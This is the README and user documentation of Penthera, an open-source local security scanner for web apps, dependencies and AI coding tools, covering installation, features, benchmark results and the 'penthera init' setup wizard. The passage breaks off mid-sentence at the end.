# Penthera: the full documentation

> Penthera 1.9.0. README.md and the user documentation from https://github.com/danoszz/penthera, as one Markdown file. Each page is also at its own URL, listed in https://penthera.org/llms.txt. Only scan targets you own or are authorized to test.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/README.md · https://penthera.org/README.md -->

<div align="center">

<img src="https://github.com/danoszz/penthera/raw/main/site/media/social/og.png" alt="Penthera. Is your site/app safe? Check it with a free cyber security quick scan: the scan field and a report of penthera.org, 95 out of 100, with Prompt to fix" width="840">

<br/><br/>

**Penthera: your open-source cyber security agent**

The security review you never had time for. Offline, rule-based, and you can verify every finding yourself.

**[penthera.org](https://penthera.org)**: check your live site in a few seconds. Passive, nothing stored.

**132** readable rules · **6** read-only MCP tools · **1** runtime dependency · **0** requests past loopback in the benchmark · **MIT**, no telemetry

<br/>

[![npm](https://img.shields.io/npm/v/penthera?color=0000ed)](https://www.npmjs.com/package/penthera)
[![npm downloads](https://img.shields.io/npm/dm/penthera?color=0000ed&label=downloads)](https://www.npmjs.com/package/penthera)
[![GitHub stars](https://img.shields.io/github/stars/danoszz/penthera?color=0000ed)](https://github.com/danoszz/penthera/stargazers)
![node](https://img.shields.io/badge/node-%E2%89%A522-0000ed)
![license](https://img.shields.io/badge/license-MIT-0000ed)
[![CI](https://github.com/danoszz/penthera/actions/workflows/ci.yml/badge.svg)](https://github.com/danoszz/penthera/actions/workflows/ci.yml)
[![OpenSSF Scorecard](https://api.scorecard.dev/projects/github.com/danoszz/penthera/badge)](https://scorecard.dev/viewer/?uri=github.com/danoszz/penthera)

<br/>

<img src="https://github.com/danoszz/penthera/raw/main/assets/demo.gif" alt="A 12-second loop: npx penthera sets up a project, an offline scan runs in the terminal, the dashboard shows the verdict in Simple mode and the triage matrix in Advanced mode, and a fix is approved" width="760">

<br/><br/>

| `penthera ui`, Simple, dark | `penthera ui`, Advanced, light |
|---|---|
| ![The dashboard in Simple mode, dark: the verdict, problems in plain words and one problem open](https://github.com/danoszz/penthera/raw/main/assets/dashboard/ui-dark.jpg) | ![The dashboard in Advanced mode, light: a project's tabs, the triage matrix and a finding open](https://github.com/danoszz/penthera/raw/main/assets/dashboard/ui-light.jpg) |

<a href="https://github.com/danoszz/penthera/raw/main/assets/walkthrough.mp4"><img src="https://github.com/danoszz/penthera/raw/main/assets/walkthrough-poster.jpg" alt="Walkthrough video: setup, a scan, the dashboard in Simple and Advanced mode, one fix approved, the report" width="760"></a>

[Watch the 80-second walkthrough](https://github.com/danoszz/penthera/raw/main/assets/walkthrough.mp4): setup, a scan, the dashboard, a fix approved, the report. Demo data, no sound, captions in the video.

</div>

---

## What it is

Penthera checks your app, its dependencies and your AI coding tools on your own
machine. It fixes what it can, with your approval. Every finding comes from a
rule you can read, with its evidence at `file:line`. A model may propose; a rule
decides.

It is also an open R&D project. We measure every check in public and publish
the results, good or bad, so you can see how far to trust it.

It finds known classes of problems, not novel ones. It does not replace a human
pentester.

### One real fix

On 23 October 2026 the live check on [penthera.org](https://penthera.org) gave
penthera.org itself 95 out of 100. Every header, TLS and page check passed; two
email-spoofing records were missing. Two DNS records later, it scored 100.

```
penthera.org    95/100   FIX  No SPF record for penthera.org
                         FIX  No DMARC record for penthera.org

+ TXT  @        v=spf1 -all
+ TXT  _dmarc   v=DMARC1; p=reject; adkim=s; aspf=s

penthera.org   100/100   Solid basics
```

The same report, with a prompt for your coding agent to make the fixes, is one
click away for your own site.

## Start in 30 seconds

You need Node.js 22 or later. No install, no account.

**In your terminal.** Run this in your project folder:

```bash
npx penthera
```

It detects your setup offline, asks what to check, and gives you a grade per
area and the three things to fix first. It scans your running app only after
you confirm the app is yours. Nothing is committed or pushed
([guided start](https://penthera.org/docs/commands/init.md)).

**In your coding agent, as a skill.** Then ask "scan my app for security
issues":

```bash
npx skills add danoszz/penthera
```

**In your coding agent, as an MCP server.** Six read-only tools for Claude Code,
Cursor, Codex, VS Code and Windsurf, new in 1.9.0. Pin the version:

```bash
claude mcp add penthera -- npx -y penthera@1.9.0 mcp
```

**In Claude Code, as a plugin.** From Claude Code's prompt:

```
/plugin marketplace add danoszz/penthera
/plugin install penthera@penthera
```

**In Gemini CLI, as an extension.** With the same pinned MCP server:

```bash
gemini extensions install https://github.com/danoszz/penthera
```

Other clients: [docs/commands/mcp.md](https://penthera.org/docs/commands/mcp.md). Other skill install
routes: [docs/commands/skill.md](https://penthera.org/docs/commands/skill.md).

To run it in a container:
`docker build -t penthera . && docker run --rm penthera https://your-app.example`.

## What it does

```mermaid
flowchart LR
    U["You or your AI agent"] --> P(("Penthera<br/>on your machine"))

    P --> APP["Your app<br/>URL scan, repo scan<br/>runtime advisories"]
    P --> DEP["Your dependencies<br/>capabilities, install firewall<br/>typosquats, upgrade diff"]
    P --> AI["Your AI tooling<br/>skills, MCP, hooks<br/>plugins, rule files"]

    APP --> F[["Findings<br/>severity, confidence<br/>evidence at file:line"]]
    DEP --> F
    AI --> F

    F --> FIX["Fix loop<br/>asks first, local branch<br/>cannot edit its own tests"]
    FIX -. "re-scan proves it" .-> F
    F --> R["Reports and dashboard<br/>terminal, Markdown, SARIF<br/>penthera ui, MCP tools"]
    F --> E["Evidence<br/>signed bundle<br/>NIS2 and CRA drafts"]

    classDef core fill:#0000ed,stroke:#0000ed,color:#ffffff
    classDef box fill:#ffffff,stroke:#000000,color:#000000
    class P core
    class U,APP,DEP,AI,F,FIX,R,E box
```

### Before you deploy

| Job | What Penthera does | Command |
|---|---|---|
| Test the app | Scans your localhost or preview URL (TLS, headers, CORS, cookies, auth, JWT, IDOR, OAuth, OpenAPI; injection and fuzzing only when you ask, after a confirmation) and your repository (routes, trust boundaries, code-execution sinks, secrets including AI keys) | [`penthera <url> --repo .`](https://penthera.org/docs/commands/scan.md) |
| Check your runtimes | Whether the PHP, nginx, Apache, Node.js, Python, OpenSSL or MongoDB version you run is affected by a known advisory, from the signed advisories pack | [Runtime advisories](https://penthera.org/docs/runtime-advisories.md) |
| Fix and verify | Applies deterministic fix recipes on a local branch, re-scans to prove they worked, and remembers the result. Never pushes | [`penthera agent --loop`](https://penthera.org/docs/commands/fix.md) |
| Block it at commit time | Stops secrets, risky agent config and dependency changes before they are committed | [`penthera hook install`](https://penthera.org/docs/commands/hook.md) |

### What you build with

| Job | What Penthera does | Command |
|---|---|---|
| Vet dependencies | Shows what every npm and Python package can do (install scripts, shell, network, env, obfuscation), what an upgrade added, lookalike names and licenses | [`penthera deps --base main`](https://penthera.org/docs/commands/deps.md) |
| Guard installs | Shows what a new package brings before any install script runs, and stops it under your policy | [`penthera install <pkg>`](https://penthera.org/docs/commands/install.md) |
| Review pull requests | Comments the dependency capability diff on every PR that touches the lockfile | [GitHub Action](https://penthera.org/docs/commands/action.md) |
| Audit your AI tooling | Checks skills, MCP servers, hooks, plugins and rule files for hidden instructions, unpinned servers, over-broad permissions and silent updates | [`penthera agents --home`](https://penthera.org/docs/commands/agents.md) |
| Work from your agent | Six read-only MCP tools: scan the repo, check dependencies, audit AI tooling, runtime advisories, explain a finding, a passive URL scan | [`penthera mcp`](https://penthera.org/docs/commands/mcp.md) |

### After you ship

| Job | What Penthera does | Command |
|---|---|---|
| Report and prove | Writes reports for developers, owners and auditors; a hashed, signable evidence bundle; NIS2 and CRA readiness reports and drafts | [`penthera <url> --audience auditor --evidence out/`](https://penthera.org/docs/evidence.md) |
| See it all | A local dashboard on 127.0.0.1. Simple mode for non-programmers: a one-sentence verdict, problems in plain words, and a check-and-fix mode with Apply, Skip and Stop per change. Advanced adds dependencies, AI tooling, history and evidence | [`penthera ui`](https://penthera.org/docs/dashboard.md) |
| Keep watching | Scheduled checks of production for drift: certificates, headers, new endpoints, keys in bundles, new CVEs in your SBOM | on the [roadmap](https://github.com/danoszz/penthera/blob/main/ROADMAP.md) |

Every finding carries a severity, a confidence label (`confirmed`, `likely`,
`potential`, `needs-human-review`), its evidence and the research behind it.
Reports come out as Markdown, JSON and SARIF for GitHub code scanning. Exit
code `1` means critical or high findings. Every command and flag is in
[docs/commands/](https://penthera.org/docs/commands/README.md). Compliance output is readiness
tooling, not a certification and not legal advice.

**AI mode (opt-in, new in 1.9.0).** `penthera --repo . --ai` lets a local model
propose problems no rule describes. Penthera checks each proposal with its
rules, and anything unconfirmed is labelled "model-proposed, unverified" and
never fails CI. Whether it finds more than the rules alone is not measured yet
([AI mode](https://penthera.org/docs/ai-mode.md)).

## How it is measured

Each feature goes through the same path: **method → evidence → tool.**

- **Method.** The [methodology](https://penthera.org/docs/METHODOLOGY.md) states the threat model,
  what black-box (HTTP) and white-box (source) analysis can and cannot see, the
  confidence model, and the false-positive controls on each probe. Each design
  choice cites the research or standard it rests on: 95 verified references, in
  APA style, in [docs/references.md](https://penthera.org/docs/references.md).
- **Evidence.** A benchmark runs on every release, and the release gate fails
  if precision or recall drops by more than 0.02. Experiments that decide what
  ships next are pre-registered in [docs/research/prereg/](https://github.com/danoszz/penthera/tree/main/docs/research/prereg)
  before any data is collected, and the results are published either way.
- **Tool.** What holds up ships in a reviewed, signed release. What does not
  hold up is dropped, and the rules stay.

| Measure | Result | Sample |
|---|---|---|
| Precision, bundled benchmark | 0.88, 95% CI 0.69 to 0.96 | 21 true and 3 false positives |
| Recall, bundled benchmark | 0.91, 95% CI 0.73 to 0.98 | 2 misses, [each explained](https://github.com/danoszz/penthera/blob/main/bench/RESULTS.md) |
| Requests past loopback during the benchmark | 0 | Enforced by a network guard |
| E10 pilot, known-vulnerable apps | Precision 0.88, 95% CI 0.78 to 0.93. Recall 0.07 before fixes, 0.71 (CI 0.45 to 0.88) after | 14 root causes in Juice Shop and DVNA ([results](https://github.com/danoszz/penthera/blob/main/bench/known-vuln/RESULTS-after-fixes.md)) |
| Detection rules, all readable | 132 in this release: 16 URL scan templates, 21 secret and AI-key patterns, 15 dependency capabilities, 39 AI-tooling rules, 5 fix recipes, and the signed rule packs | [Rule packs](https://penthera.org/docs/rule-packs.md) |

The bundled benchmark is 24 findings in small labs we wrote ourselves. It
catches regressions; it does not measure real-world accuracy. The E10 pilot
used one labeller and is not independent: the fixes were written after seeing
the misses on the same two apps. On WebGoat, held out, recall stayed at 2 of 9.
Accuracy on real projects is experiment E1, pre-registered and not yet run.
Intervals are Wilson. What Penthera cannot see is listed under
[Known limitations](https://penthera.org/docs/METHODOLOGY.md#known-limitations). Refresh the counts
with `npm run docs:numbers` and `npm run bench`.

**Cite this repository** with the button on GitHub or
[CITATION.cff](https://github.com/danoszz/penthera/blob/main/CITATION.cff). APA and BibTeX forms are in the
[methodology](https://penthera.org/docs/METHODOLOGY.md#how-to-cite).

## Why you can trust it

- **Local and offline.** No account, no telemetry, no cloud. `--offline` limits
  network traffic to the target you named, and every report lists the hosts it
  contacted ([network use](https://penthera.org/docs/privacy.md)).
- **Deterministic.** Rules you can read, with `file:line` evidence. A model may
  propose a fix or a lead; a deterministic re-scan and your tests decide.
- **Non-destructive by default.** Default scans send no attack payloads.
  Payload testing (`--deep`, `--fuzz`, `--all`) is opt-in, asks for a
  confirmation bound to the target, and is rate-limited.
- **Asks before it changes anything.** The fix loop works on a local branch,
  asks before every change by default, and never pushes or opens pull requests.
- **No update channel to hijack.** Detection rules ship inside reviewed
  releases as signed, versioned [rule packs](https://penthera.org/docs/rule-packs.md). You can add
  your own by path (`--rules <dir>`). Nothing is downloaded and run at run time.
- **Releases you can verify.** npm provenance through trusted publishing, a
  maintainer approval with 2FA for every version, SHA-pinned CI, CodeQL and
  OpenSSF Scorecard. Every release passes an
  [internal audit](https://github.com/danoszz/penthera/blob/main/docs/internal-audit.md) of eight gates
  ([latest report](https://github.com/danoszz/penthera/blob/main/audit/REPORT.md)).

Penthera finds known classes of problems, not novel ones, and it does not
replace a human pentester or incident response. The decisions behind it, its
limits, and how to challenge them are in the [manifesto and FAQ](https://penthera.org/docs/MANIFESTO.md).

## How it fits with other tools

Penthera works next to the tools you already use; its SARIF output goes
straight into GitHub code scanning, for example. Each comparison page says where
the other tool goes further and how to run the two together.

| | Focus | Where it runs | How it decides |
|---|---|---|---|
| **Penthera** | Your app, dependencies and AI tooling; fixes; EU evidence | Your machine or CI, offline | Readable deterministic rules, with evidence |
| [Socket](https://penthera.org/docs/compare/socket.md) | Supply-chain risk across package registries | Cloud service, GitHub App, CLI | Registry-scale package analysis, including AI review |
| [Snyk](https://penthera.org/docs/compare/snyk.md) | Known vulnerabilities in dependencies, code, containers, IaC | Cloud service, IDE, CLI | Curated vulnerability database plus static analysis |
| [GitHub Dependabot and code scanning](https://penthera.org/docs/compare/github.md) | Known-CVE alerts, update PRs, CodeQL | GitHub | Advisory database, CodeQL queries |
| [OWASP ZAP](https://penthera.org/docs/compare/zap.md) | Dynamic testing of web apps | Your machine or CI | Active and passive scan rules |
| [Semgrep](https://penthera.org/docs/compare/semgrep.md) | Static analysis of your own code | Your machine, CI, cloud platform | Pattern rules, plus a paid cross-file engine |

All comparisons, including Cloudflare's security-audit skill: [docs/compare/](https://penthera.org/docs/compare/README.md).

## Start here

| You want to know | Read |
|---|---|
| Is my app safe to ship? | [I'm new](https://penthera.org/docs/index.md#1-im-new), then [scan](https://penthera.org/docs/commands/scan.md) |
| Is this package or MCP server safe? | [deps](https://penthera.org/docs/commands/deps.md), [install](https://penthera.org/docs/commands/install.md), [agents](https://penthera.org/docs/commands/agents.md) |
| How do I use it from my coding agent? | [MCP server](https://penthera.org/docs/commands/mcp.md), [skill](https://penthera.org/docs/commands/skill.md), [agents safely](https://penthera.org/docs/agents-safely.md) |
| How do I put it in CI? | [The GitHub Action](https://penthera.org/docs/commands/action.md), [scan in CI](https://penthera.org/docs/commands/scan.md#ci-integration) |
| What do I give my auditor? | [Evidence bundles](https://penthera.org/docs/evidence.md), [NIS2](https://penthera.org/docs/compliance-nis2.md), [CRA](https://penthera.org/docs/compliance-cra.md) |
| How do I run the fix loop? | [Fix and verify](https://penthera.org/docs/commands/fix.md), [the local loop](https://penthera.org/docs/local-loop.md) |

The full map, by situation and from first scan to research, is in
[docs/index.md](https://penthera.org/docs/index.md).

## Ethics and authorization

Penthera sends HTTP requests to the targets you give it, and some modes
(`--deep`, `--fuzz`, `--all`) send attack payloads, after a confirmation.
Scan only what you own, what you have written authorization to test, or local
environments you control. Do not use it to probe third-party systems,
exfiltrate data, disrupt services, or harm anyone. Unauthorized testing may
break computer-misuse laws such as the US CFAA, the UK Computer Misuse Act, and
their EU equivalents. When in doubt, do not scan.

The software is provided "as is", without warranty. The author accepts no
liability for misuse, and you are responsible for making sure every scan you
run is lawful. The live check on penthera.org has its own
[terms](https://penthera.org/docs/live-check-terms.md).

## Building in public

What changed, what we are measuring, and what comes next, in one place.

| | Where it stands | Read more |
|---|---|---|
| **Latest release** | 1.9.0 (2026-10-23) on npm `latest`: `penthera mcp`, opt-in AI mode, new detection rules, no attack payloads in default scans, a refreshed dashboard | [CHANGELOG](https://github.com/danoszz/penthera/blob/main/CHANGELOG.md), [roadmap](https://github.com/danoszz/penthera/blob/main/ROADMAP.md#now-190) |
| **Research** | E10 pilot published: precision 0.88, recall 0.07 to 0.71 on two known-vulnerable apps after fixes (one labeller, not independent; a re-run is pending because default scans no longer send login checks). E1 on real code is pre-registered; E8 (agent guardrails) is a draft | [E10 results](https://github.com/danoszz/penthera/blob/main/bench/known-vuln/RESULTS.md), [E1 pre-registration](https://github.com/danoszz/penthera/blob/main/docs/research/prereg/E1-real-world-accuracy.md), [agents safely](https://penthera.org/docs/agents-safely.md) |
| **Next** | Real-world precision and recall with intervals (E1), published whatever the result | [Roadmap: next](https://github.com/danoszz/penthera/blob/main/ROADMAP.md#next), [research plan](https://penthera.org/docs/vision-2.0.md) |

[![Star history](https://api.star-history.com/svg?repos=danoszz/penthera&type=Date)](https://star-history.com/#danoszz/penthera&Date)

Releases are deliberately slow: a feature freeze, an independent review, the
release checks, and a release candidate before any new minor version. Watch the
repository for releases or join the
[Discussions](https://github.com/danoszz/penthera/discussions).

## How Penthera is built

Penthera is developed with substantial help from generative AI: 91% of the
commits up to v1.7.0 were written with Claude (Anthropic) through Claude Code,
directed and reviewed by the maintainer, and marked with a co-author trailer.
Generated code passes the same gates as any change: tests, CodeQL, an
independent review, the internal audit, and a 2FA-approved release. Inside the
product, models only ever propose; deterministic checks decide. The full
disclosure, and the rules for AI-assisted contributions, are in
[docs/genai.md](https://penthera.org/docs/genai.md).

## Contributing and support

Clone the repository and run `npm install`, then `npm test` for the suite and
`npm run bench` for precision and recall.
[CONTRIBUTING.md](https://github.com/danoszz/penthera/blob/main/CONTRIBUTING.md) covers the project layout, the release
cadence and the release checklist; [AGENTS.md](https://github.com/danoszz/penthera/blob/main/AGENTS.md) is the short version
for coding agents. The [roadmap](https://github.com/danoszz/penthera/blob/main/ROADMAP.md) shows what ships next, and the
[research plan](https://penthera.org/docs/vision-2.0.md) what we measure. Issues and pull requests
are welcome.

Penthera is free. If it caught something before you shipped it, you can
[sponsor its maintenance](https://github.com/sponsors/danoszz). Sponsorship pays
for maintainer time and buys no influence over findings
([tiers](https://github.com/danoszz/penthera/blob/main/docs/funding/sponsor-tiers.md)).

## License

MIT. See [LICENSE](https://github.com/danoszz/penthera/blob/main/LICENSE). Report vulnerabilities in Penthera itself through
[SECURITY.md](https://github.com/danoszz/penthera/blob/main/SECURITY.md).

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/index.md · https://penthera.org/docs/index.md -->

# Penthera documentation

> **Starter and pro.** For "where do I start, and where do I go next?"

Penthera is an open-source cyber security agent. It checks your app, its
dependencies and your AI coding tools on your own machine, offline, with rules
you can read. A model may propose; a rule decides.

Pick the journey that fits you. Each page answers one question, and each
journey runs from the first command to the details.

[![Walkthrough video: setup, a scan, the dashboard in Simple and Advanced mode, one fix approved, the report](https://github.com/danoszz/penthera/raw/main/assets/walkthrough-poster.jpg)](https://github.com/danoszz/penthera/raw/main/assets/walkthrough.mp4)

[Watch the 80-second walkthrough](https://github.com/danoszz/penthera/raw/main/assets/walkthrough.mp4). Demo data, no
sound, captions in the video ([as text](https://github.com/danoszz/penthera/raw/main/assets/walkthrough.vtt)).

## 1. I'm new

For "is my app safe to ship?" Start with one command in your project folder:

```bash
npx penthera
```

| Your question | Read |
|---|---|
| "What does `npx penthera` do, and what does it not do?" | [Set up in one command](https://penthera.org/docs/commands/init.md) |
| "How do I scan my running app and its source?" | [Scanning your app](https://penthera.org/docs/commands/scan.md) |
| "Is this package safe to add?" | [Dependency risk](https://penthera.org/docs/commands/deps.md), [the install firewall](https://penthera.org/docs/commands/install.md) |
| "Can I see it all in one place?" | [The local dashboard](https://penthera.org/docs/dashboard.md) |
| "What does it send over the network?" | [Privacy and network use](https://penthera.org/docs/privacy.md) |

## 2. I use AI coding tools

For "is my AI setup safe, and can my agent run Penthera?"

| Your question | Read |
|---|---|
| "Is this MCP server or skill safe?" | [Auditing your AI tooling](https://penthera.org/docs/commands/agents.md) |
| "Can my coding agent run it for me?" | [Penthera as an Agent Skill](https://penthera.org/docs/commands/skill.md) |
| "Can my agent call it as a tool?" | [Penthera as an MCP server](https://penthera.org/docs/commands/mcp.md) (1.9 release candidate) |
| "I let an agent work on my code. What should I check?" | [Running AI agents safely](https://penthera.org/docs/agents-safely.md) |
| "Can a model look for what the rules miss?" | [AI mode](https://penthera.org/docs/ai-mode.md) (opt-in, 1.9 release candidate) |
| "An AI audit gave me a list of findings. Which are real?" | [`penthera verify`](https://penthera.org/docs/commands/verify.md) |

## 3. I run it in CI

For "how do I make it part of every change?"

| Your question | Read |
|---|---|
| "How do I put it in CI?" | [Penthera in CI](https://penthera.org/docs/commands/action.md), [scan in CI](https://penthera.org/docs/commands/scan.md#ci-integration), [example workflows](https://github.com/danoszz/penthera/blob/main/docs/examples/github-actions-scan.yml) |
| "How do I stop problems before they are committed?" | [The pre-commit hook](https://penthera.org/docs/commands/hook.md) |
| "How do I run the fix loop?" | [Fixing what it finds](https://penthera.org/docs/commands/fix.md), [the local loop and its memory](https://penthera.org/docs/local-loop.md) |
| "How do I tune the rules?" | [Scan configuration](https://penthera.org/docs/commands/scan.md#configuration), [rule packs](https://penthera.org/docs/rule-packs.md) |
| "Is the runtime I deploy affected by an advisory?" | [Runtime advisories](https://penthera.org/docs/runtime-advisories.md) |
| "Which OWASP tests does it cover?" | [OWASP WSTG coverage](https://penthera.org/docs/owasp-wstg-coverage.md) |
| "Which command and flag do I need?" | [All commands](https://penthera.org/docs/commands/README.md) |

## 4. I need evidence for an auditor

For "what do I give my auditor?" Compliance output is readiness tooling. It is
not a certification and not legal advice.

| Your question | Read |
|---|---|
| "What do I hand over, and how does the auditor check it?" | [Evidence bundles and audience reports](https://penthera.org/docs/evidence.md) |
| "What does NIS2 ask, and what can Penthera show?" | [NIS2](https://penthera.org/docs/compliance-nis2.md) |
| "What must I report under the CRA, and what is in my AI-BOM?" | [The CRA and AI-BOM](https://penthera.org/docs/compliance-cra.md) |

## 5. I'm a researcher

For "how do you know it works?"

| Your question | Read |
|---|---|
| "How does it decide, and what can't it see?" | [Methodology](https://penthera.org/docs/METHODOLOGY.md), [known limitations](https://penthera.org/docs/METHODOLOGY.md#known-limitations) |
| "How accurate is it?" | [Benchmark](https://github.com/danoszz/penthera/blob/main/bench/README.md) and [latest results](https://github.com/danoszz/penthera/blob/main/bench/RESULTS.md), the [E10 pilot](https://github.com/danoszz/penthera/blob/main/bench/known-vuln/RESULTS.md) on known-vulnerable apps |
| "What will you measure next?" | [Research plan](https://penthera.org/docs/vision-2.0.md), [pre-registrations](https://github.com/danoszz/penthera/blob/main/docs/research/prereg/E1-real-world-accuracy.md), [research notes](https://github.com/danoszz/penthera/tree/main/docs/research) |
| "How do I know a release is sound?" | [Internal audit](https://github.com/danoszz/penthera/blob/main/docs/internal-audit.md) |
| "What research is it based on?" | [References](https://penthera.org/docs/references.md) ([BibTeX](https://github.com/danoszz/penthera/blob/main/docs/references.bib)), [how to cite](https://penthera.org/docs/METHODOLOGY.md#how-to-cite) |
| "How does it compare to the tool I use?" | [Comparisons](https://penthera.org/docs/compare/README.md) |
| "Why was it built this way?" | [Manifesto and FAQ](https://penthera.org/docs/MANIFESTO.md) |
| "How much of it did AI write?" | [Use of generative AI](https://penthera.org/docs/genai.md) |

The accuracy numbers come with their sample and caveats on the same page. In
short: the bundled benchmark is 24 findings in labs we wrote ourselves, the E10
pilot used one labeller, and accuracy on real projects (E1) is not measured
yet.

## The project

| Page | For |
|---|---|
| [Roadmap](https://github.com/danoszz/penthera/blob/main/ROADMAP.md) | Where it stands, what ships next, and what is not planned |
| [CONTRIBUTING](https://github.com/danoszz/penthera/blob/main/CONTRIBUTING.md) | Setup, tests, the merge flow and the release steps |
| [AGENTS.md](https://github.com/danoszz/penthera/blob/main/AGENTS.md) | Coding agents working on or with Penthera |
| [Voice guide](https://github.com/danoszz/penthera/blob/main/docs/voice.md) | How Penthera's docs and messages are written |
| [CHANGELOG](https://github.com/danoszz/penthera/blob/main/CHANGELOG.md) | Every release |
| [SECURITY](https://github.com/danoszz/penthera/blob/main/SECURITY.md) | Reporting a vulnerability in Penthera itself |
| [Funding](https://github.com/danoszz/penthera/blob/main/docs/funding/sponsor-tiers.md) | Sponsor tiers, the [partner brief](https://github.com/danoszz/penthera/blob/main/docs/funding/partner-one-pager.md) and the [due diligence checklist](https://github.com/danoszz/penthera/blob/main/docs/funding/due-diligence-checklist.md) |
| [Marketing automation](https://github.com/danoszz/penthera/blob/main/docs/marketing.md) | What runs on a schedule, and what a person still posts |
| [MCP directory listings](https://github.com/danoszz/penthera/blob/main/docs/mcp-listing.md) | What the maintainer pastes into MCP directories |

## Programmatic API

```javascript
import { loadTemplatesFromPaths, runTemplateScan } from "penthera/plugins";
import { runAdaptiveProbes } from "penthera/adaptive";
```

The exports are in `lib/plugins.js` and `lib/blackbox/adaptive-scan.js`, both
shipped in the npm package. The npm package ships only `docs/examples/` from
this folder; the rest of the docs live on GitHub.

Only scan systems you own or are authorized to test.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/commands/init.md · https://penthera.org/docs/commands/init.md -->

# Set up in one command: `penthera init`

> **Starter.** For "is my app safe to ship?"

## Start here

New to Penthera? Run it with no arguments in your project folder:

```bash
npx penthera          # in a terminal, with no arguments: the setup wizard
penthera init         # the same wizard, by name (also works with piped answers)
penthera init --yes   # accept every safe default, ask nothing
penthera init --dry-run   # show what would run and be written, change nothing
```

The wizard finds what your project has, asks one question about what to check,
runs those checks offline, shows one summary, and then offers to set up the
hook, the CI workflow and the rest, one yes/no at a time. Press Enter to accept
a default.

## What it does

**1. Detect.** Offline, read-only:

- whether this is a git repository (and which branch);
- the web framework, from `package.json`, `requirements.txt` or `pyproject.toml`;
- lockfiles: `package-lock.json`, `npm-shrinkwrap.json`, `uv.lock`,
  `poetry.lock`, `pdm.lock`, `Pipfile.lock`, `requirements.txt`;
- agent config: `.mcp.json`, `.claude/`, `.cursor/`, `CLAUDE.md`, `AGENTS.md`, `skills/`;
- a dev server on localhost ports 3000, 5173, 8000 or 8080 (a TCP connect to
  127.0.0.1 and ::1, nothing else);
- whether the Penthera pre-commit hook or a Penthera GitHub workflow is already there.

**2. Ask what to check.** One checklist, with defaults from what was found.
Type numbers to toggle items (`2,4`), or press Enter:

```
  What should Penthera check?
    1. [x] Code: secrets and risky API routes in ./                 penthera --repo .
    2. [x] Dependencies: what your npm and Python packages can do   penthera deps
    3. [x] AI tooling: skills, MCP servers, hooks, agent instructions  penthera agents
    4. [ ] The running app at http://localhost:3000                 only if it is yours
    5. [x] Offline mode: nothing leaves this machine                recommended
```

- AI tooling then asks whether to include `~/.claude` and `~/.cursor` too (default no).
- The running app is only listed when a dev server answered, is never
  preselected, and is only scanned after you confirm it is yours (default no).
  It runs the standard safe checks: no attack payloads.
- With offline mode off, `deps` also reads npm registry metadata and the URL
  scan may download the Retire.js database. Nothing else changes.

**3. Run and summarize.** One line per check, then the grade per area (A to F,
the same scale as `penthera agents`), the three things to fix first in plain
language, and the report folder:

```
  Running 3 checks  (offline)
    ✓ Code          B  1 high  0.1s
    ✓ Dependencies  A  no issues  0.0s
    ✓ AI tooling    A  1 medium  0.0s
```

Every report lands in `reports/penthera-<date>/`: `code`, `deps`, `agents` and
`app` as JSON and Markdown, plus `summary.md` and `summary.json`.

**4. Set up.** Each step is a yes/no:

| Step | Default | What it does |
|---|---|---|
| Pre-commit hook | yes | `penthera hook install`: blocks staged secrets, risky agent config and lockfile changes ([hook.md](https://penthera.org/docs/commands/hook.md)). Git repos only |
| GitHub workflow | yes | Writes `.github/workflows/penthera.yml` from [the PR dependency review example](https://github.com/danoszz/penthera/blob/main/docs/examples/pr-dependency-review.yml), with the action pinned to the release commit SHA. Shown as a diff first. Needs a git repo and `package-lock.json` |
| `.gitignore` | yes | Appends `reports/` so scan output is never committed |
| Fix loop | no | `penthera agent --loop` on a local `penthera/fix-<date>` branch; every diff asks first ([fix.md](https://penthera.org/docs/commands/fix.md)) |
| Dashboard | yes | `penthera ui --open` on this run's reports ([dashboard.md](https://penthera.org/docs/dashboard.md)). Runs until Ctrl-C |

Steps that are already done (a hook or workflow that exists, `reports/` already
ignored) are skipped and say so.

**5. What next.** The commands to rerun each check, check staged changes, run
the fix loop or open the dashboard.

## Before you launch

When you know what you want, run the checks directly. Start the app locally,
then:

```bash
npx penthera http://localhost:3000 --repo .   # the running app and its source, together
npx penthera fix --plan --repo .              # fixes for what it can fix, as diffs
npx penthera hook install                     # stop secrets at commit time from now on
```

Or ask your coding agent, with the [Agent Skill](https://penthera.org/docs/commands/skill.md) installed: "scan my
app on localhost:3000 and fix what you find". Before you deploy, run the same
scan against your preview URL. Only scan systems you own.

The scan looks for what tends to go wrong in apps written fast, often with an
AI assistant: an API route that returns any user's data if you change the id,
an AI provider key in a client bundle, a missing security header, a CORS policy
of `*`, a login with no rate limit. `penthera fix --plan` then prints a diff
per fix it knows. Nothing is written until you apply a plan
([fixes](https://penthera.org/docs/commands/fix.md)).

## `--yes` and `--dry-run`

`--yes` answers every question with its safe default: the code, dependency and
AI tooling checks that apply, offline, then the hook, the workflow and
`.gitignore`. It never scans a URL, never runs the fix loop and never opens the
dashboard, even when a dev server is running.

`--dry-run` runs detection and asks the questions, then prints what it would
run and write instead of doing it. Combine them for a plan with no prompts:

```bash
penthera init --yes --dry-run
```

`penthera --yes` and `penthera --dry-run` (no other arguments) are the same as
`penthera init --yes` and `penthera init --dry-run`.

## What it does not do

- It is not a penetration test by a person. It checks known classes of problem.
  It will not find a flaw in your business logic, such as a coupon that can be
  applied twice.
- It does not fix IDOR or auth design for you. It points at the route. The fix
  is yours.
- It does not watch production yet. Scheduled checks are on the
  [roadmap](https://github.com/danoszz/penthera/blob/main/ROADMAP.md).
- A clean scan is not proof of safety. Every finding has a confidence label, and
  probes that could not run are listed as inconclusive rather than passed.
- Its accuracy is measured only on labs we wrote ourselves: precision 0.88
  (95% CI 0.69 to 0.96) and recall 0.91 (95% CI 0.73 to 0.98) on 24 findings
  ([results](https://github.com/danoszz/penthera/blob/main/bench/RESULTS.md)). Accuracy on real apps is not measured
  yet. That is [experiment E1](https://github.com/danoszz/penthera/blob/main/docs/research/prereg/E1-real-world-accuracy.md).

## What it never does

- Commit, push, open a pull request, or touch a remote. The workflow file is
  written for you to review and commit yourself.
- Write outside the project: reports, `.gitignore` and the workflow go under
  the project root (the git top level when there is one), the hook into the
  repository's hooks folder.
- Contact anything but localhost, unless you turn offline mode off or confirm
  the running app.

Exit code: 0 when the wizard finishes (whatever the grades), 2 for a bad flag.
For a gate in CI, use the commands themselves (`penthera --repo .`, `penthera deps`):
they exit 1 on high or critical findings.

The pinned SHA is the last release tagged before this version
(`ACTION_PIN` in `src/cli/onboarding.js`); Dependabot's `github-actions`
